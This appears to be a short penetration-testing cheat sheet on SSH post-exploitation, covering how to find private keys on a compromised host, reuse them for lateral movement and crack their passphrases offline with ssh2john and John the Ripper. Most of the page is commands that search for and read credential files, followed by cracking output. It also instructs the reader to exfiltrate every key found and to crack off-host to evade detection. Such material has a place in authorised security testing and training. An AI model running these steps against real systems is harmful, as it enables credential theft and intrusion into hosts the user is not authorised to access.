Services SSH Post-Exploitation SSH Private Key Discovery and Passphrase Cracking

SSH Private Key Discovery and Passphrase Cracking

2 min read Mar 16, 2026

Compromised user accounts frequently contain reusable SSH keys. Private keys with trusted public counterparts on other hosts allow silent lateral movement without password exposure.

Locating Keys

System-wide public keys often reveal host identities or trusted configurations:

user@host ~ $ find /etc/ssh -name "*.pub" 2>/dev/null

User-specific keys hold the highest reuse potential.

user@host ~ $ find /home -name "id_*" 2>/dev/null

Narrow to current user for speed.

user@host ~ $ ls ~/.ssh/id_*

user@host ~ $ find ~/.ssh -name "id_*" 2>/dev/null

Prioritize id_rsa, id_ed25519, and id_ecdsa. Exfiltrate all private keys immediately. Unencrypted keys enable direct reuse.

┌──(kali㉿kali)-[~]

└─$ ssh -i id_rsa $USERNAME@next_target_ip

Success confirms authorized_keys trust on the target.

Cracking Passphrase-Protected Keys

Encrypted keys prompt for passphrases on use. Crack offline after exfiltration to avoid on-host detection risk.

Set strict permissions if conversion fails.

┌──(kali㉿kali)-[~]

└─$ chmod 600 id_rsa

Convert to John format.

┌──(kali㉿kali)-[~]

└─$ python3 ssh2john.py id_rsa > ssh.hash

Or use the standalone binary.

┌──(kali㉿kali)-[~]

└─$ ssh2john id_rsa > ssh.hash

Crack the passphrase.

┌──(kali㉿kali)-[~]

└─$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash

hunter2         (id_rsa)

Weak passphrases fall quickly. Cracked keys unlock the same lateral potential as unencrypted ones. Test against internal hosts trusting the public key.

Edge Cases and Broader Searches

Keys in non-standard locations require broader searches.

user@host ~ $ find / -name "id_*" 2>/dev/null

Suppress errors on inaccessible directories. Root access expands scope significantly. Check backup directories or application-specific configs for additional keys.